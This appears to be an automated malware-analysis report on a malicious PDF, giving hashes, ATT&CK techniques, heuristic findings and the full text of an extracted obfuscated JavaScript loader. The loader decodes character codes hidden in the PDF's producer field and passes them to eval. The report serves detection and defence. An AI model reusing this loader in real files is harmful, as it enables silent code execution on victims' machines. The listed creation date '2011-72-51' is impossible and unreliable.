Malicious PDF — malware analysis report

Static analysis result for SHA-256 e9a8d93df0c3ed0a…

MALICIOUS

PDF

23.1 KB Created: 2011-72-51 03:25:00 First seen: 2026-05-08
MD5: 66e047dcf80dd599f28290a81f346003 SHA-1: 4f5f7395d137a39c8370aa6ae14465eecb832ddf SHA-256: e9a8d93df0c3ed0a60ac7a22d46b5a1ed85ff42dddf96c71104054b012a5a4e2
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell T1059.003 Command and Scripting Interpreter: Windows Command Shell

The PDF contains obfuscated JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT, PDF_JS, and PDF_EVAL. The embedded JavaScript stream, named javascript_obj0001_000.js, likely attempts to download and execute a second-stage payload. The eval() call is a strong indicator of malicious intent, often used to deobfuscate and run further code. Due to the obfuscation, the exact payload and delivery mechanism cannot be fully determined.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    KykexywusyBykitit=eval(KarikowaqoboqEmo+'l');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x5894 714 bytes
SHA-256: 57f9a7eab8d1f3b8267be396f169bed912a2456edd669c706520443314054d23
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var SiuxylepetZibo='';
CuzdeztecicYvamuv = new Date(2010,11,3,2);
var KarikowaqoboqEmo = function(){return {e:'eva'}}().e;
KykexywusyBykitit=eval(KarikowaqoboqEmo+'l');
Wqkecys = 'thi'+CuzdeztecicYvamuv.getHours()+'ducer';
HijUp=KykexywusyBykitit(Wqkecys.replace(2,'s.pro'));
LyfaXne = HijUp.split('s');
var ZyturatyzOvot = '';
g = CuzdeztecicYvamuv.getHours();
var Kybyde = 'fro'+CuzdeztecicYvamuv.getHours()+'arCode';
Kybyde=Kybyde.replace(2,'mCh');
LugiramozuTunjy=String[Kybyde];
for (BikYlexegaawp = 0; BikYlexegaawp < LyfaXne.length; BikYlexegaawp++) {
	XnbydXef = KykexywusyBykitit(LyfaXne[BikYlexegaawp]);
	ZyturatyzOvot += LugiramozuTunjy(XnbydXef);
}
KykexywusyBykitit(ZyturatyzOvot);

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